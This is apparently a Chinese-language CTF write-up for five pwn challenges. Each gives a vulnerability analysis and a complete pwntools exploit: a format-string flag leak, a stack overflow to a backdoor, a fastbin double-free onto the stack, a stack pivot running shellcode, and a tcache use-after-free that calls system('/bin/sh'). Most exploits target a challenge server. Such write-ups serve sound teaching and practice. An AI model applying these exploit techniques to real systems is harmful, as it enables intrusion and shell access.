bank

分析

首先把输入和一个随机数用strcmp进行比较
通过则进入if中,把flag文件读到栈上
之后存在一个格式化字符串漏洞

思路

输入'\x00',则当生成的随机数第一个字节也是'\x00'时,就能通过判断
之后就是利用格式化字符串打印出flag
本地建一个flag.txt文件,gdb断点打到printf
接下来就要测出flag的偏移
可以直接使用一串%p确定

或者看栈的信息

可以看到flag位于栈上第四个参数,而fmt字符串储存在RDI寄存器中,同时fmt字符串中%n$sn为fmt字符串后面的参数的顺序,也就是说RSI对应格式化字符串的第一个参数。而由于栈上第一个元素为返回地址,应除去,所以总的来说flag就对应第8个参数(5+3)
最后输入%8$s即可输出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context(os='linux', arch='amd64')
while True:
r = process('./bank')
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline('\x00')
try:
r.recvuntil('Your')
print 'Fail'
r.close()
continue
except:
print 'success'
r.sendline('yes')
#gdb.attach(r)
r.sendline('%8$s')
r.interactive()

效果图

auto

分析

main函数太长无法反汇编

有后门get_sh
有个aas函数满足条件if ( should_succeed && !strncmp(s1, s2, 8u) )后进入存在栈溢出的函数login_again(),这里可以通过溢出返回到后门函数
同时aaz函数不能被执行否则should_succeed会被置0

有个加密函数

中间有一大段重复的函数片段,但真正有效的片段并不长,猜测是比较字符串,不通过则call aaz()失败,通过则call ass(),并在这之后都直接跳到程序的最后

有一种方法是直接用patch让程序跳到开始call ass前,就能反汇编了,不过缺少了字符串比较的部分

思路

根据加密函数写个解密函数

第一次发送解密出来的字符串
第二次栈溢出返回到后门函数即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context(os='linux', arch='i386', log_level='debug')
r = process('auto')
#r = remote('81.70.195.166',10001)
pwd = 'UCIJEURI'
ans = ''
for i in range(8):
for j in range(65,91):
if((i*5+j-65)%26 + 65) == ord(pwd[i]):
ans += chr(j)
print ans

r.recvuntil(':')
r.sendline(ans)
r.recvuntil(':')
r.sendline('A'*0x48 + 'B'*0x4 + p32(0x08048665))

r.interactive()

paper

分析

glibc2.23的堆题
cmd1:malloc(0x8),指针存到bss段上
cmd2:free后指针未置0
cmd3:edit可以向指针指向区域写入数字
cmd4:打印一个栈上元素的地址
cmd5:修改cmd4中栈上元素的值
cmd6:验证栈上值v9是否等于3435973836,通过则getshell

思路

存在uaf
可以用fastbin attack申请到栈上的空间

  1. 创造一个double free
  2. 利用cmd4得到栈上的地址
  3. 利用cmd3向free状态的fastbin写入fd指针指向栈上的地址
  4. 利用cmd5修改值,写入0x21,作为伪造的size位
  5. 连续申请两个chunk,即可申请到栈上的空间
  6. 再利用cmd3直接写入3435973836即可(经过调节使需要覆盖的值正好位于申请到的数据区域)

程序打印出来的栈上地址即为要伪造的size位地址
所以写入的fd指针指向size-0x8
申请到后直接填入数据即可覆盖value

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./paper')
r = remote('81.70.195.166', 10003)
libc = ELF('./libc.so.6')
elf = ELF('./paper')
#r = remote('81.70.195.166', 10000)

def creat():
r.recvuntil('choice > ')
r.sendline('1')

def remove(idx):
r.recvuntil('choice > ')
r.sendline('2')
r.recvuntil('Index:')
r.sendline(str(idx))

def edit(idx, cnt):
r.recvuntil('choice > ')
r.sendline('3')
r.recvuntil('Index:')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(cnt))

creat()
creat()
remove(0)
remove(1)
remove(0)

r.recvuntil('choice > ')
r.sendline('4')
r.recvuntil('Your disk is at: 0x')
data = int(r.recv(12), 16)

edit(0, data-0x8)

r.recvuntil('choice > ')
r.sendline('5')
r.sendline(str(0x21))

creat()
creat()
edit(3, str(3435973836))
r.sendline('6')
r.interactive()

small

分析

只有read
打开第一眼看到就觉得是srop
结果发现没开NX,那就可以直接用shellcode结合栈迁移做了

思路

利用gadgetpop rbp;ret把rbp改到bss段上,返回地址设置到sub rsp,10h
由于是根据rdi确定read读入数据存储的地方,而这之前有指令lea rdi,[rbp+buf],这里的buf就是-10h,也就是说虽然这里我们还没有调整rsp,但数据存储地址是由rbp决定的,所以照样会被存到bss段上
接下来运行指令mov rsp,这样整个栈结构就被完全迁移到bss段上了
然后执行ret,返回到栈顶指向的地址
所以我们刚才输入的时候把偏移算好让这里rsp指向的地址存着shellcode的地址即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
small = ELF('./small')
#sh = process('./small')
sh = remote('81.70.195.166', 10002)

bss_addr = 0x402020

shellcode = asm(shellcraft.sh())
payload = 'a'*0x18+p64(0x401030)+p64(bss_addr)+p64(0x401011)+'b'*0x100
#gdb.attach(sh)
sh.sendline(payload)

payload2 = 'A'*24 + p64(bss_addr+0x10)+shellcode

sh.sendline(payload2)
sh.interactive()

managebook

glibc2.27的堆题
赛后复现出来的

分析

creat

最多申请十个
chunk的指针记录在bss段上
chunk内部分别有一个函数指针指向puts,一个指向book name的指针和一个指向book summary的指针
申请name和summary的时候,会malloc(输入的size+1)
不存在溢出

结构

delete

free指针
指针未置0
存在uaf

change

free chunk里记录的sum指针
然后根据输入的size重新申请相应大小的空间
新的指针覆盖原来的指针

read

调用chunk里的函数指针,参数为指向summary的指针

思路

当删除一个chunk后,0x18大小的chunk会被放到tcache里
这时我们用change,新申请的size控制为0x18
这样程序就会free掉我们原本的summary,再malloc(0x18)就能申请到我们刚删掉的chunk(注意控制释放的summary大小不为0x18)

同时函数指针是不会改变的
第一次我们把summary指针改成函数got表地址
执行read就能计算得到libc地址
第二次把函数指针覆盖为system函数地址,同时把summary地址改成指向字符串'/bin/sh\x00'的地址
再次执行read就会执行system('/bin/sh\x00')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./managebooks')
r = remote('81.70.195.166', 10004)
elf = ELF('./managebooks')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size1, name, size2, sum):
r.recvuntil('>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size1))
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(str(size2))
r.recvuntil(':')
r.sendline(sum)

def delete(idx):
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))

def change(idx, size, sum):
r.recvuntil('>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(sum)

def readbk(idx):
r.recvuntil('>>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))

ptr = 0x4008d8

add(0x18, 'C'*0x18, 0x18, 'D'*0x18)
add(0x18, 'C'*0x18, 0x18, 'D'*0x18)
add(0x18, 'C'*0x18, 0x18, 'D'*0x18)
delete(0)


change(2, 0x18, p64(ptr)+p64(0)+p64(elf.got['malloc']))
readbk(0)
r.recv(1)
data = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = data - libc.symbols['malloc']
system_addr = libc_base + libc.symbols['system']
print 'libc_base ==> ', hex(libc_base)

add(0x18, 'C'*0x18, 0x18, 'D'*0x18)
add(0x18, 'C'*0x18, 0x18, '/bin/sh\x00')
add(0x18, 'C'*0x18, 0x18, 'D'*0x18)
add(0x18, 'C'*0x18, 0x18, 'D'*0x18)

delete(4)
change(6, 0x18, p64(system_addr))
readbk(4)

r.interactive()